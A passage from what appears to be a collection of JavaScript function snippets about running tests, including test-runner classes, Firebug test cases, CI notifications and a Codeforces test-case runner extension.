{\n\t}", "function C001_BeforeClass_Sidney_Run() {\n\tBuildInteraction(C001_BeforeClass_Sidney_CurrentStage);\n}", "handleRunRequest(mode=RUN_ALL_TESTS_COMMAND, checkpoint=-1, testcase=-1) {\n\t\tvar URL = LAB_URL + '/' + LAB_ID;\n\t\tvar dataObj = {\n\t\t\tcommand: mode,\n\t\t\tcode: this.editorObj.code,\n\t\t\tcheckpoint: checkpoint,\n\t\t\ttestcase: testcase,\n\t\t\tlanguage: LAB_LANG\n\t\t};\n\t\tif (mode === RUN_ALL_TESTS_COMMAND) {\n\t\t\tthis.editorStatus.html(\"Runnig tests ... \");\n\t\t\t$(\"#checkpoint-status\" + checkpoint).html(\"Running tests ...\");\n\t\t} else if (mode === RUN_TEST_COMMAND) {\n\t\t\tthis.editorStatus.html(\"Runnig a single test ... \");\n\t\t\t$(\"#checkpoint-status\" + checkpoint).html(\"Running a single test ... \");\n\t\t}\n\n\t\tthis.sendRunRequestAndVisualize(URL, dataObj, mode, checkpoint, testcase);\n\t\tthis.showConsole();\n\t\tthis.editorStatus.css('display', 'inline');\n\t\t$(\"#checkpoint-status\" + checkpoint).css(\"display\", \"inline\");\n\t}", "async runTests () {\n this.installBchApi()\n utils.log('bch-api dependencies installed.')\n\n await this.runUnitTests()\n\n await this.runAbcIntegrationTests()\n\n await this.runBchnIntegrationTests()\n\n utils.log('bch-api tests complete.')\n utils.log(' ')\n }", "function startLightTests(finish){\n\t(new cronJob(\"*/5 * * * *\", lightTests)).start();\n\tlightTests(finish);\n}", "function renderTest() {\n\t loadTestData(renderPage);\n\t}", "function doPHPUnit(folder, test, timeStamp, id)\n{\n //format my f*** date\n var dx = new Date();\n \n if(ecr_act_field)\n {\n $(ecr_act_field).setStyle('color', 'black');\n }\n\n $(id).setStyle('color', 'red');\n ecr_act_field = id;\n \n// console.log(dx.toString());\n //Ausgabe: Sun Oct 04 2009 14:00:09 GMT-0500 (ECT)\n\n y = dx.getFullYear();\n\n m = dx.getMonth().toString();\n m =(m.length == 1) ? '0'+m : m;\n\n d = dx.getDay().toString();\n d =(d.length == 1) ? '0'+d : d;\n \n h = dx.getHours().toString();\n h =(h.length == 1) ? '0'+h : h;\n \n i = dx.getMinutes().toString();\n i =(i.length == 1) ? '0'+i : i;\n \n s = dx.getSeconds().toString();\n s =(s.length == 1) ? '0'+s : s;\n\n timeStamp = ''+y+m+d+'_'+h+i+s;\n \n// console.log(timeStamp);\n //Ausgabe: 200990_1409\n \n // getMonth() und getDay() liefern falsche Werte ...\n \n // ?\n \n url = ecrAJAXLink+'&controller=codeeyeajax';\n url += '&task=phpunit';\n// url += '&ecr_project=' + project;\n// url += '&path='+$('dspl_sniff_folder').innerHTML;\n url += '&folder='+folder;\n url += '&test='+test;\n url += '&time_stamp='+timeStamp;\n url += '&results_base=' + $('results_base').value;\n\n new Request({\n \turl: url,\n 'onRequest' : function()\n {\n $('ecr_title_file').innerHTML = 'CodeEye is looking PHPUnit...';\n $('ecr_title_file').className = 'ajax_loading16';\n $('ecr_codeeye_output').innerHTML = '';\n },\n 'onComplete' : function(response)\n {\n $('ecr_title_file').innerHTML = '';\n $('ecr_title_file').className = '';\n\n var resp = Json.evaluate(response);\n \n if( ! resp.status) {\n //-- Error\n }\n\n $('ecr_codeeye_output').innerHTML = resp.text;\n $('ecr_codeeye_console').innerHTML = resp.console;\n }\n }).send();\n}", "function runTests(e, p) {\n console.log(\"Check requested\")\n\n // Create Notification object (which is just a Job to update GH using the Checks API)\n var note = new Notification(`tests`, e, p);\n note.conclusion = \"\";\n note.title = \"Run Tests\";\n note.summary = \"Running the test targets for \" + e.revision.commit;\n note.text = \"This test will ensure build, linting and tests all pass.\"\n\n // Send notification, then run, then send pass/fail notification\n return notificationWrap(build(e, p), note)\n}", "function _testRunnerMain() {\n _doSetup();\n\n // if there's no _runTest, assume we need to test the parser. Pass Processing env.\n if (this._testWrapper)\n this._testWrapper(this._pctx);\n else\n _checkParser();\n\n if (this._finished)\n this._finished();\n\n print('TEST-SUMMARY: ' + _passCount + '/' + _failCount);\n}", "start() {\n LogUtil.createLogDumpAsync(\n 'test', this.onLogDumpCreated.bind(this), true);\n }", "function testFunction() {\nconsole.log('you passed the test');\n}", "function test() {\n\tlog('page loaded');\n\tloadData();\n}", "_run()\n {\n var info = this._getInfoFromPackageJson()\n\n if (Tester.is(this._output, 'function')) {\n this._output('################################################')\n this._output(info.label)\n this._output(info.labelDescription)\n this._output('################################################')\n }\n\n var start = new Date()\n\n // @todo Progress bar start.\n\n this._runTestMethods()\n\n // @todo Progress bar stop.\n\n var end = new Date()\n var time = end - start\n var formatTime = time > 1000 ? (time / 1000).toFixed(1) + ' seconds' : time + ' miliseconds'\n var memoryBytes = process.memoryUsage().heapTotal\n var trace = Tester.getBacktrace(new Error(), 3)\n\n this._resultsJson = {\n info: info,\n errors: this._errors,\n ok: this._ok,\n all: this._all,\n className: this.constructor.name,\n assertionsCounter: this._assertionsCounter,\n testsCounter: this._testsCounter,\n timeMiliseconds: time,\n formatTime: formatTime,\n memoryBytes: memoryBytes,\n formatMemory: Tester.formatBytes(memoryBytes),\n from: trace\n }\n\n if (Tester.is(this._output, 'function')) {\n var arr = this._showOk === true ? this._all : this._errors\n for (let value of arr) {\n if (this._colorize === true) {\n // reverse red\n value = value.replace(/^Error:/, '\\x1b[31m\\x1b[7mError:\\x1b[0m')\n // reverse\n value = value.replace(/^Ok:/, '\\x1b[7mOk:\\x1b[0m')\n }\n this._output(value)\n }\n\n var className = this.constructor.name + ':'\n\n this._output(className)\n this._output(' - tests ' + this._testsCounter)\n this._output(' - assertions ' + this._assertionsCounter)\n this._output(' - errors ' + this._errors.length)\n this._output(' - time ' + formatTime)\n this._output(' - memory ' + Tester.formatBytes(memoryBytes))\n this._output(' - from ' + trace)\n this._output('')\n }\n }", "function runScript(){\n console.log(\"Execution run script\");\n return spawn('python', [\n \"-u\",\n path.join(__dirname, 'botEDT_ScreenShot.py'),\n \"--foo\", \"some value for foo\",\n ]);\n\n }", "async onTestResult(test, testResult, aggregatedResult) {\n const { testResults } = testResult;\n\n const caseResults = this.getCaseResults(testResults);\n\n // Only runs if case results are populated\n if (Object.keys(caseResults).length > 0) {\n console.log('Test Results');\n\n await Promise.all(this.manageCaseResults(caseResults));\n\n // Close the runs\n await Promise.all(this.closeCases());\n }\n }", "function test() {\n waitForExplicitFinish();\n\n getParentProcessActors(testTarget);\n}", "function startTest()\n{\n let serialSearch = serialSearchTest(array);\n outputArea.innerHTML += \"Serial Search - done. Searched address is at \"+serialSearch+\"<br/>\";\n let bidirectionalSearch = bidirectionalSearchTest(array);\n outputArea.innerHTML += \"Bidirectional Search - done. Searched address is at \"+bidirectionalSearch+\"<br/>\";\n let midpointBidirectionalSearch = midpointBidirectionalSearchTest(array);\n outputArea.innerHTML += \"Midpoint Bidirectional Search - done. Searched address is at \"+midpointBidirectionalSearch+\"<br/>\";\n let jumpSearch = jumpSearchTest(array);\n outputArea.innerHTML += \"Jump Search - done. Searched address is at \"+jumpSearch+\"<br/>\";\n outputArea.innerHTML += \"Testing completed. You may now stop the Google Chrome Profiler and review the results.\";\n}", "function main() {\n // Setup Applitools\n let eyes = setup();\n\n // Set viewports\n const viewportLandscape = { width: 1920, height: 1200 };\n const viewportPortrait = { width: 600, height: 800 };\n \n // Execute Chrome driver tests\n browserDriver(eyes, Capabilities.chrome(), viewportLandscape, viewportPortrait);\n \n // Execute FireFox driver tests\n browserDriver(eyes, Capabilities.firefox(), viewportLandscape, viewportPortrait);\n}", "function main() {\n client.waitForReady(4000, () => {\n async.series([\n runGetFeature,\n runListFeatures,\n runRecordRoute,\n runRouteChat\n ]); \n });\n}", "function test(test) {\n var attrs = {\n classname: test.parent.fullTitle()\n , name: test.title\n , time: test.duration / 1000\n };\n\n if ('failed' == test.state) {\n var err = test.err;\n attrs.message = escape(err.message);\n console.log(tag('testcase', attrs, false, tag('failure', attrs, false, cdata(err.stack))));\n } else if (test.pending) {\n console.log(tag('testcase', attrs, false, tag('skipped', {}, true)));\n } else {\n console.log(tag('testcase', attrs, true) );\n }\n}", "async run() {\n if (this.startDelay) {\n await this.pause(this.startDelay);\n }\n \n const start = new Date();\n console.log(`Cavy test suite started at ${start}.`);\n\n for (let i = 0; i < this.testCases.length; i++) {\n let {description, f} = this.testCases[i];\n try {\n await f.call(this);\n console.log(`${description} ✅`);\n } catch (e) {\n console.warn(`${description} ❌\\n ${e.message}`);\n }\n await this.component.clearAsync();\n this.component.reRender();\n }\n\n const stop = new Date();\n const duration = (stop - start) / 1000;\n console.log(`Cavy test suite stopped at ${stop}, duration: ${duration} seconds.`);\n }", "enterTest(ctx) {\n\t}", "function run(){\n\n\tdescribe(\"UnderseaWorld2\", function(){\n\n\t\tfindXML();\n\t\tparseXML();\n\t\tloadGame();\n\t\tsingleSpin(); // Start by doing a single spin\n\t\tfullGame();\n\t\texpandingTiles();\n\t\tbonusGame();\n\t\tbonusTime();\n\t});\n}", "async function executePrimaryTask(context) {\n\tconst saveFile = await vscode.commands.executeCommand(\"workbench.action.files.save\");\n\tlet codeforcesURL = vscode.window.activeTextEditor.document.getText();\n\tlet filepath = vscode.window.activeTextEditor.document.fileName;\n\tlet cases;\n\tif (!(filepath.substring(filepath.length - 4).toLowerCase() == '.cpp')) {\n\t\tvscode.window.showInformationMessage(\"Active file must be have a .cpp extension\");\n\t\treturn;\n\t} else {\n\t\tconsole.log(\"Is a cpp\");\n\t\tlatestFilePath = filepath;\n\t\tlatestTextDocument = vscode.window.activeTextEditor.document;\n\t}\n\tlet firstRun = true;\n\tcodeforcesURL = codeforcesURL.split(\"\\n\")[0];\n\tcodeforcesURL = codeforcesURL.substring(2);\n\tlet compilationError = false;\n\n\tlet passed_cases = [];\n\t/**\n\t * runs a particular testcase\n\t * @param {*} caseNum 0-indexed number of the case\n\t */\n\tfunction runTestCases(caseNum) {\n\t\ttry {\n\t\t\tfs.accessSync(filepath + \".tcs\")\n\t\t} catch (err) {\n\t\t\tlet html = downloadCodeforcesPage(codeforcesURL);\n\t\t\thtml.then(string => {\n\t\t\t\tconst [inp, op] = parseCodeforces(string);\n\t\t\t\tcreateTestacesFile(inp, op, filepath);\n\t\t\t\trunTestCases(0);\n\t\t\t}).catch(err => {\n\t\t\t\tconsole.error(\"Error\", err)\n\t\t\t})\n\t\t\treturn;\n\t\t}\n\n\t\tif (caseNum == 0) {\n\t\t\tstartWebView();\n\t\t\tconsole.l\n\t\t\tcases = parseTestCasesFile(filepath);\n\t\t\tif (!cases || !cases.inputs || cases.inputs.length === 0) {\n\t\t\t\tevaluateResults([], true);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tresultsPanel.webview.html = \"<html><body><p style='margin:10px'>Runnung Testcases ...</p><p>If this message does not change in 10 seconds, it means an error occured. Please contact developer.<p/></body></html>\";\n\n\n\t\t} else if (caseNum == cases.numCases) {\n\t\t\treturn;\n\t\t}\n\t\tlet exec = [];\n\t\tlet stdoutlen = 0;\n\t\tlet spawned_process = spawn((filepath + '.bin'), {\n\t\t\ttimeout: 10000\n\t\t});\n\t\t// Creates a 10 second timeout to kill the spawned process.\n\t\tsetTimeout(() => {\n\t\t\tconsole.log(\"10 sec killed process - \", caseNum);\n\t\t\tspawned_process.kill();\n\t\t}, 10000)\n\t\tlet tm = Date.now();\n\t\tspawned_process.stdin.write(cases.inputs[caseNum] + \"\\n\");\n\t\tspawned_process.stdout.on('data', (data) => {\n\t\t\tif (stdoutlen > 10000) {\n\t\t\t\tstartWebView();\n\t\t\t\tconsole.log(\"STDOUT length >10000\");\n\t\t\t\tresultsPanel.webview.html = \"<html><body><p style='margin:10px'>Your code is outputting more data than can be displayed. It is possibly stuck in an infinite loop. <br><br><b>All testcases failed.</b></p></body></html>\";\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tconsole.log(\"Go stdout\", data);\n\t\t\tlet ans = data.toString();\n\t\t\tlet tm2 = Date.now();\n\t\t\tlet time = tm2 - tm;\n\t\t\tans = ans.replace(/\\r?\\n|\\r/g, \"\\n\");\n\t\t\tcases.outputs[caseNum] = cases.outputs[caseNum].replace(/\\r?\\n|\\r/g, \"\\n\");\n\t\t\tlet stripped_case = cases.outputs[caseNum].replace(/\\r?\\n|\\r| /g, \"\");\n\t\t\tlet stripped_ans = ans.replace(/\\s|\\n|\\r\\n|\\r| /g, \"\");\n\t\t\tif (stripped_ans == stripped_case) {\n\t\t\t\tpassed_cases[caseNum] = {\n\t\t\t\t\tpassed: true,\n\t\t\t\t\ttime: time,\n\t\t\t\t\toutput: ans.trim(),\n\t\t\t\t\tinput: cases.inputs[caseNum].trim(),\n\t\t\t\t\texpected: cases.outputs[caseNum].trim(),\n\t\t\t\t\tgot: ans.trim()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpassed_cases[caseNum] = {\n\t\t\t\t\tpassed: false,\n\t\t\t\t\ttime: time,\n\t\t\t\t\toutput: ans.trim(),\n\t\t\t\t\tinput: cases.inputs[caseNum].trim(),\n\t\t\t\t\texpected: cases.outputs[caseNum].trim(),\n\t\t\t\t\tgot: ans.trim()\n\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (caseNum == (cases.numCases - 1)) {\n\t\t\t\tevaluateResults(passed_cases, true);\n\t\t\t\tspawn(\"rm\", [filepath + \".bin\"]);\n\t\t\t\tspawn(\"del\", [filepath + \".bin\"]);\n\n\n\t\t\t} else {\n\t\t\t\tevaluateResults(passed_cases, false);\n\t\t\t}\n\n\t\t});\n\t\tspawned_process.stderr.on('data', (data) => {\n\t\t\tconsole.error(`stderr: ${data}`);\n\t\t\toc.clear();\n\t\t\toc.appendLine(\"STDERR:\");\n\t\t\toc.appendLine(data);\n\t\t});\n\n\t\tspawned_process.on('exit', (code, signal) => {\n\t\t\tlet tm2 = Date.now();\n\t\t\tconsole.log(\"Execution done with code\", code, \" with signal \", signal, \"for process \", caseNum);\n\t\t\tif (signal || code != 0) {\n\t\t\t\tpassed_cases[caseNum] = {\n\t\t\t\t\tpassed: false,\n\t\t\t\t\ttime: tm2 - tm,\n\t\t\t\t\toutput: `Runtime error. Exit signal ${signal}. Exit code ${code}.`,\n\t\t\t\t\tinput: cases.inputs[caseNum].trim(),\n\t\t\t\t\texpected: cases.outputs[caseNum].trim(),\n\t\t\t\t\tgot: `Runtime error. Exit signal ${signal}. Exit code ${code}.`,\n\t\t\t\t}\n\t\t\t\tif (caseNum == (cases.numCases - 1)) {\n\t\t\t\t\tevaluateResults(passed_cases, true);\n\t\t\t\t} else {\n\t\t\t\t\tevaluateResults(passed_cases, false);\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tlet tm2 = Date.now();\n\t\t\t\tif (!passed_cases[caseNum]) {\n\t\t\t\t\tpassed_cases[caseNum] = {\n\t\t\t\t\t\tpassed: cases.outputs[caseNum].trim().length == 0,\n\t\t\t\t\t\ttime: tm2 - tm,\n\t\t\t\t\t\toutput: \"<br/>\",\n\t\t\t\t\t\tinput: cases.inputs[caseNum].trim(),\n\t\t\t\t\t\texpected: cases.outputs[caseNum].trim(),\n\t\t\t\t\t\tgot: \"<br/>\"\n\t\t\t\t\t}\n\t\t\t\t\tif (caseNum == (cases.numCases - 1)) {\n\t\t\t\t\t\tevaluateResults(passed_cases, true);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tevaluateResults(passed_cases, false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\trunTestCases(caseNum + 1);\n\t\t})\n\t}\n\n\t/**\n\t * Download a html page with the given codeforces url\n\t */\n\tasync function downloadCodeforcesPage(url) {\n\t\tif (verifyValidCodeforcesURL(url)) {\n\t\t\tvscode.window.showInformationMessage(\"Downloading Testcases\");\n\t\t\tconst html = await rp(url);\n\t\t\treturn html;\n\t\t} else {\n\t\t\ttestCasesHelper(filepath);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/**\n\t * Comiple the C++ file\n\t */\n\tconst gpp = spawn('g++', [filepath, '-o', filepath + \".bin\"]);\n\tgpp.stdout.on(\"data\", (data) => {\n\t\tconsole.log(`stdout: ${data}`);\n\t})\n\tgpp.stderr.on('data', (data) => {\n\t\toc.clear();\n\t\toc.append(\"Errors while compiling\\n\" + data.toString());\n\t\toc.show();\n\t\tcompilationError = true;\n\t});\n\n\tgpp.on('exit', async (exitCode) => {\n\t\tif (!compilationError) {\n\t\t\tawait runTestCases(0);\n\t\t}\n\t\tconsole.log(`Compiler exited with code ${exitCode}`);\n\t});\n}", "function afterTest()\n{\n\tconsole.log(\"'afterTest' executed\");\n}", "function runQUnit() {\n var entry = ProjectManager.getSelectedItem();\n if (entry === undefined) {\n entry = DocumentManager.getCurrentDocument().file;\n }\n var dir = entry.fullPath.substring(0, entry.fullPath.lastIndexOf('/') + 1),\n dirEntry = new NativeFileSystem.DirectoryEntry(dir),\n fname = DocumentManager.getCurrentDocument().filename,\n contents = DocumentManager.getCurrentDocument().getText(),\n testName = entry.fullPath.substring(entry.fullPath.lastIndexOf(\"/\") + 1),\n testBase = testName.substring(0, testName.lastIndexOf('.')),\n qunitReportEntry = new NativeFileSystem.FileEntry(dir + testBase + '/qUnitReport.html'),\n includes = parseIncludes(contents, dir);\n var data = { filename : entry.name,\n title : 'QUnit test - ' + entry.name,\n includes : includes,\n templatedir : moduledir,\n contents : contents\n };\n var template = require(\"text!templates/qunit.html\");\n var html = Mustache.render(template, data);\n // write generated test report to file on disk\n dirEntry.getDirectory(dir + testBase, {create: true}, function () {\n FileUtils.writeText(qunitReportEntry, html).done(function () {\n // launch new window with generated report\n var report = window.open(qunitReportEntry.fullPath);\n report.focus();\n });\n });\n }", "function RunTestSuite($rootScope, $scope, $timeout, $log, $state, $stateParams, $filter, $dialogs, ngTableParams,\n STATES_CONSTANTS, messageService, testsuiteService, testSuiteRequestService, testsuiteAlertsService,\n validationServicetestsuite, utilsService) {\n /* jshint validthis: true */\n var vm = this;\n\n vm.changeExpanded = changeExpanded;\n vm.findTestCaseByName = testsuiteService.findTestCaseByName;\n vm.findTestCaseIndexByName = testsuiteService.findTestCaseIndexByName;\n vm.generateDiffStringForTestResult = testsuiteService.generateDiffStringForTestResult;\n vm.goToShowPage = goToShowPage;\n vm.reRun = reRun;\n vm.testNamesToRunNext = testsuiteService.testNamesToRunNext;\n vm.testNamesToRun = testsuiteService.testNamesToRun;\n\n init();\n\n var CURRENT = 'CURRENT';\n var NEXT = 'NEXT';\n var PRETTY_PRINT_INDENT = 2;\n var TIMEOUT_500_MS = 500;\n\n /**\n * Main entry function\n */\n function init() {\n var runOne = angular.isDefined($stateParams.name) && $stateParams.name !== '';\n if (runOne) { //running one testcase\n initRunOne();\n } else {//running all testcases\n initRunAll();\n }\n }\n\n messageService.onChangeApp($scope, function (message) {\n init();\n });\n\n function initRunOne () {\n testSuiteRequestService.getTestCase($stateParams.name).then(\n function (data) {\n $log.info('Got testcase ' + data.testName, data);\n validationServicetestsuite.validateTestCase(data).then(//validating one case\n function(){\n vm.testCases = [data];\n angular.isDefined(vm.tableParams) ? vm.tableParams.reload : initNgTableStructure();\n runAllTestCasesRecursive();\n },\n function(reason) {\n vm.testCases = [];\n testsuiteAlertsService.errorValidateIncomingTest(reason);\n });\n\n },\n function (reason) {\n $log.error('Error getting testcase to run ', reason);\n testsuiteAlertsService.errorGet(reason);\n }\n );\n }\n\n function initRunAll () {\n testsuiteService.getAndValidateAllTestCases().then(\n function (data) {\n vm.testCases = data;\n angular.isDefined(vm.tableParams) ? vm.tableParams.reload : initNgTableStructure();\n $log.info('Got valid testcases ', data);\n runAllTestCasesRecursive();\n },\n function (error) {\n $log.error('Error getting test cases', error);\n }\n );\n }\n\n /**\n * Re-runs one test case, leaving all other ones untouched\n * @param testCase\n * @param mode\n * @returns {*}\n */\n function reRun(testCase, mode) {\n var dlg = $dialogs.wait(undefined, undefined, 0);\n\n $timeout(function () {\n $rootScope.$broadcast('dialogs.wait.progress', {'progress': 100});\n }, TIMEOUT_500_MS);\n testSuiteRequestService.runTestCase(testCase.testName, mode).then(\n function (data) {\n testCase.actual = data.actual;\n testCase.logs = data.logs;\n testCase.status = data.status;\n validationServicetestsuite.validateTestCase(testCase).then(//validating one case\n function(){\n testCase.isResultExpanded = false;\n $log.info('Test ran successfully while re-running', data);\n testsuiteAlertsService.successRun(testCase.testName);\n dlg.close();\n vm.tableParams.reload();\n },\n function(reason) {\n testsuiteAlertsService.errorValidateIncomingTest(reason);\n $log.error('Test ', testCase, ' re-ran successfully, but there were validation errors. ', reason);\n dlg.close();\n vm.tableParams.reload();\n });\n },\n function (error) {\n $log.error('Test re-run was unsuccessful ', error);\n addErrorLabel(testCase);\n testsuiteAlertsService.errorRunTest(testCase.testName);\n dlg.close();\n }\n );\n }\n\n /**\n * Inits view as ng-table\n */\n function initNgTableStructure() {\n vm.tableParams = new ngTableParams({\n page: 1, // show first page\n count: 10, // count per page\n sorting: {\n name: 'asc' // initial sorting\n }\n }, {\n total: 0, // length of data\n getData: function ($defer, params) {\n var orderedData = params.sorting() ? $filter('orderBy')(vm.testCases, params.orderBy()) : vm.testCases;\n\n var orderedDataNew = [];\n angular.forEach(orderedData, function (testCase) {\n for (var i = 0; i < vm.testNamesToRun.length; i++) {\n if (testCase.testName === vm.testNamesToRun[i]){\n orderedDataNew.push(testCase);\n }\n }\n testCase.expanded = false;\n if (angular.isDefined(testCase.actual)) {//init view properties, which are not going to go to DS\n testCase.expectedText = JSON.stringify(testsuiteService.arrayPropertiesToStrings(testCase.expected), null, PRETTY_PRINT_INDENT);\n testCase.actualText = JSON.stringify(testsuiteService.arrayPropertiesToStrings(testCase.actual), null, PRETTY_PRINT_INDENT);\n }\n });\n\n if (vm.testNamesToRun.length !=0) {\n orderedData = orderedDataNew;\n }\n // use built-in angular filter\n orderedData = params.filter() ? $filter('filter')(orderedData, params.filter()) : orderedData;\n\n params.total(orderedData.length); // set total for recalc pagination\n var totalPages = Math.max(1, Math.ceil(params.total() / params.count()));\n if (params.page() > totalPages) {\n params.page(totalPages);\n }\n orderedData = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());\n $defer.resolve(orderedData);\n }\n });\n //workaround for https://github.com/esvit/ng-table/issues/297\n vm.tableParams.settings().$scope = $scope;\n }\n\n\n function goToShowPage() {\n $state.go(STATES_CONSTANTS().testsuiteShow);\n }\n\n /**\n * Changes the displaying type of a given test case -- is it expanded or not\n * @param testCase\n */\n function changeExpanded(testCase) {\n testCase.expanded = !testCase.expanded;\n }\n\n function addErrorLabel (testcase) {\n testcase.error = true;\n }\n\n /**\n * Recursion invoker for running all tests\n */\n function runAllTestCasesRecursive() {\n $log.info('Attempting to run all tests');\n var testQueue = [];\n if (vm.testNamesToRun.length == 0) {\n testQueue = angular.copy(vm.testCases);\n } else {\n for (var i = 0; i < vm.testCases.length; i++) {\n for (var j = 0; j < vm.testNamesToRun.length; j++) {\n if (vm.testCases[i].testName === vm.testNamesToRun[j]) {\n testQueue.push(vm.testCases[i]);\n }\n }\n }\n }\n runTestCasesRecursionBody(testQueue);\n vm.tableParams.reload();\n }\n\n /**\n * Recursion body for running all tests\n * @param testQueue\n */\n function runTestCasesRecursionBody(testQueue) {\n if (angular.isDefined(testQueue) && angular.isArray(testQueue) && angular.isDefined(testQueue[0])) {\n testSuiteRequestService.runTestCase(testQueue[0].testName,\n (vm.testNamesToRunNext.indexOf(testQueue[0].testName) < 0) ? CURRENT : NEXT).\n then(function (data) {//if ran successfully (either failed or passed)\n $log.info('Test ran successfully', data);\n vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)].actual = data.actual;\n vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)].logs = data.logs;\n vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)].status = data.status;\n validationServicetestsuite.validateTestCase(vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)]).then(\n function(validationSuccessMessage) {//validation passed\n vm.tableParams.reload();\n testQueue.splice(0, 1);\n runTestCasesRecursionBody(testQueue);\n },\n function(reason) {//validation failed\n vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)] = data;\n vm.tableParams.reload();\n $log.error('Cannot validate ran testcase for reason ', reason);\n testQueue.splice(0, 1);\n runTestCasesRecursionBody(testQueue);\n testsuiteAlertsService.errorValidateIncomingTest(reason);\n }\n );\n }, function (error) {//if run was in error\n addErrorLabel(vm.testCases[vm.findTestCaseIndexByName(testQueue[0].testName, vm.testCases)]);\n testsuiteAlertsService.errorRunTest(testQueue[0].testName);\n testQueue.splice(0, 1);\n $log.error('Test run error', error);\n vm.tableParams.reload();\n runTestCasesRecursionBody(testQueue);\n });\n }\n }\n }", "function doSelenium(folder, test, timeStamp, id)\n{\n url = ecrAJAXLink+'&controller=codeeyeajax';\n url += '&task=selenium';\n// url += '&ecr_project=' + project;\n// url += '&path='+$('dspl_sniff_folder').innerHTML;\n url += '&folder='+folder;\n url += '&test='+test;\n url += '&time_stamp='+timeStamp;\n url += '&results_base=' + $('results_base').value;\n\n new Request({\n \turl: url,\n 'onRequest' : function()\n {\n $('ecr_title_file').innerHTML = 'CodeEye is looking Selenium...';\n $('ecr_title_file').className = 'ajax_loading16';\n $('ecr_codeeye_output').innerHTML = '';\n },\n 'onComplete' : function(response)\n {\n $('ecr_title_file').innerHTML = '';\n $('ecr_title_file').className = '';\n\n var resp = Json.evaluate(response);\n \n if( ! resp.status) {\n //-- Error\n }\n\n $('ecr_codeeye_output').innerHTML = resp.text;\n $('ecr_codeeye_console').innerHTML = resp.console;\n }\n }).send();\n\n}", "async runTests() {\n for (let file of this.testFiles) {\n console.log(chalk.gray(`--- ${file.shortName}`));\n const beforeEaches = [];\n\n global.render = render;//jsdom\n\n global.beforeEach = (fn) => {\n beforeEaches.push(fn)\n };\n global.it = async (desc, fn) => {\n // console.log(desc);\n beforeEaches.forEach(func => func());\n //to handle errors ocurred during our test we need to do try and catch to avoid the test to collapse\n try {\n await fn();\n console.log(chalk.green(`\\tOK - ${desc}`));\n } catch (err) {\n const message = err.message.replace(/\\n/g, '\\n\\t\\t');\n console.log(chalk.red(`\\tX - ${desc}`));\n console.log(chalk.red('\\t', message));// \\t is tab \n }\n\n };\n //to skip the typo in stopping test for running\n try {\n require(file.name);//when we require the file inside a func node will find it and execute the file here\n } catch (err) {\n console.log(chalk.red('X - Error Loading File'), file.name);\n console.log(chalk.red(err));\n }\n\n }\n }", "async runTest() {}", "function testMain() {\n var mode = 'test';\n main(mode);\n}", "function runTests(e, p, jobFunc) {\n console.log(\"Check requested\");\n\n let job = jobFunc();\n\n // Create Notification object (which is just a Job to update GH using the Checks API)\n var note = new Notification(job.name, e, p);\n note.conclusion = \"\";\n note.title = `Run ${job.name}`;\n note.summary = `Running ${job.name} build/test targets for ${e.revision.commit}`;\n note.text = \"This task will ensure build, linting and tests all pass.\";\n\n // Send notification, then run, then send pass/fail notification\n return notificationWrap(job, note);\n}", "function runAllTests() {\n var baseSpreadsheetTests = new BaseSpreadsheetTests();\n baseSpreadsheetTests.run();\n\n var masteryTrackerTests = new MasteryTrackerTests();\n masteryTrackerTests.run();\n\n var masteryDataTests = new MasteryDataTests();\n masteryDataTests.run();\n}", "function run_all_tests(){\n\t$(\"#tests_list .section_title\").each(function(num,obj){\n\t\ttype=obj.id.substr(8);\n\t\trun_tests(type);\n\t});\n}", "function ts_psr_treatment()\n\n{\n\n//Opens INRstar\n open_application(\"INRstar\");\n\n//Test cases to be run within the Test Suite\n\n//parameters ()\n tc_add_historic\n \n//Closes INRstar\n close_application();\n\n}", "function exampleFunctionToRun(){\n\n }", "function run() {\n var service = getService();\n if (service.hasAccess()) {\n var url = 'https://api.trello.com/1/members/me/boards';\n var response = service.fetch(url);\n var result = JSON.parse(response.getContentText());\n Logger.log(JSON.stringify(result, null, 2));\n } else {\n var authorizationUrl = service.authorize();\n Logger.log('Open the following URL and re-run the script: %s',\n authorizationUrl);\n }\n}", "function showResultPage() {\n if (console.log('test completed')) {\n\n //log \"time/score\" to High Scores page//\n\n //Automatically open High Scores HTML//\n\n }\n}", "beforeRun() {}", "function test_utilization_host() {}", "function dedicatedWorkerTest(script)\n{\n var worker = new Worker(script);\n supportTestRunnerMessagesOnPort(worker);\n\n fetch_tests_from_worker(worker);\n}", "function main() {\n console.log('Ready!\\n');\n _hcsr04.fn.startMonitoring();\n}", "function runTest()\n{\n var prefOrigValue = FBTest.getPref(\"showXMLHttpRequests\");\n FBTest.setPref(\"showXMLHttpRequests\", true);\n\n FBTest.openNewTab(basePath + \"console/2328/issue2328.html\", (win) =>\n {\n FBTest.openFirebug(() =>\n {\n FBTest.enableConsolePanel(() =>\n {\n FBTest.waitForDisplayedElement(\"console\", null, (element) =>\n {\n // Verify error log in the console.\n var expectedResult = \"GET \" + basePath + \"console/2328/issue2328.php\";\n var spyFullTitle = element.getElementsByClassName(\"spyFullTitle\")[0];\n FBTest.compare(expectedResult, spyFullTitle.textContent, \"There must be a XHR log\");\n\n FBTest.setPref(\"showXMLHttpRequests\", prefOrigValue);\n FBTest.testDone();\n });\n\n // Run test implemented on the page.\n FBTest.click(win.document.getElementById(\"testButton\"));\n });\n });\n });\n}", "function runTest()\n{\n // Step 1.\n FBTest.openNewTab(basePath + \"console/2694/issue2694.html\", function(win)\n {\n FBTest.openFirebug(function()\n {\n FBTest.enableConsolePanel(function()\n {\n executeSetOfCommands(40, function()\n {\n FBTest.ok(isScrolledToBottom(), \"The Console panel must be scrolled to the bottom.\");\n FBTest.testDone();\n });\n });\n });\n });\n}", "function processTestClick() {\r\n console.log(\"running processTestClick() function\");\r\n 